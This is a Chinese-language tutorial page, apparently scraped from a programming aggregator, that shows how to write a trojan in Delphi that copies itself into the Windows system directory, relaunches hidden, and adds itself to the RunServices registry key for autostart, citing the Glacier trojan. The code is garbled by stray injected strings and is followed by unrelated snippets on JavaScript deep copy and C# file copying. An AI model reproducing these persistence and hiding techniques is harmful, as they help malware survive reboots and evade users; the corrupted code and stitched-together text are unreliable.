木馬實現自我拷貝的原理是程式執行時先檢視自己是不是在特定目錄下,如果是就繼續執行,如果不是就把自己拷貝到特定目錄下,然後執行新程式,繼而退出舊程式.
本例即以delphi實現木馬的自我拷貝。
首先開啟delphi,新建乙個工程,在視窗的create事件中寫入如下**:
procedure tform1.formcreate(sender: tobject);
var myname: string;
begin
myname := extractfilename(application.ewkqgfrxwzxename); //獲得檔名
if application.exena <> getwindir + myname then //如果檔案不是在windowssystem那麼..
begin
copyfile(pchar(application.exename), pchar(getwindir + myname), false);
winexec(pchar(getwindir + myname), sw_hide);//執行windowssystem下的新檔案
application.terminate;//退出
end;
end;
其中getwindir是自定義函式,起功能是找出windowssystem的路徑.
function getwwkqgfrxwzindir: string;
varbuf: array[0..max_path] of char;
begin
getsystemdirectory(buf, max_path);
result := buf;
if result[length(result)]<>'' then result := result + '';
end;
如何能使程式能在windows啟動時自動啟動?
為了程式能在windows每次啟動時自動執行,可以通過以下途徑來實現.「冰河」用登錄檔程式設計客棧的方式。
加入registry單元,改寫上面的視窗create事件,改寫後的程式如下:
procedure tform1.formcreate(sender: tobject);
const k = 'softwaremicrosoftwindowscurrentversionrunservices';
var myname程式設計客棧: string;
begin
myname := extractfilename(application.exename); //獲得檔名
if application.exename <> getwindir + myname then //如果檔案不是在windowssystem那麼..
begin
copyfile(pchar(application.exename), pchar(getwindir + myname), false);
winexec(pchar(getwindir + myname), sw_hide);//執行windowssystem下的新檔案
application.terminate;//退出
end;
with tregistry.create do
tryrootkey := hkey_local_machine;
openkey( k, true );
writestring( 'syspler', application.exename );
finally
free;
end;
end;
本文標題: delphi實現木馬自我拷貝方法
本文位址:
木馬自我拷貝法 Delphi
這種方法的原理是程式執行時先檢視自己是不是在特定目錄下,如果是就繼續執行,如果不是就把自己拷貝到特定目錄下,然後執行新程式,再退出舊程式.開啟delphi,新建乙個工程,在視窗的create事件中寫 procedure tform1.formcreate sender tobject var myn...
js 深拷貝和淺拷貝區別,以及實現深拷貝的方法
定義 1.深拷貝 function deepcopy obj var obj say console.log deepcopy obj 注意 這種拷貝方法不可以拷貝一些特殊的屬性 例如正規表示式,undefine,function function deepcopytwo obj if obj ty...
C 運用FileInfo類實現拷貝檔案的方法
本文所述例項為c 運用fileinfo類實現拷貝檔案的方法,程式中c 首先建立乙個 streamwriter 物件 writer,它向 fileinfo 的例項 srcfile 所表示的檔案追加文字,fileinwww.cppcns.comfo 類的 copyto 方法,實現檔案的拷貝。具體實現 如...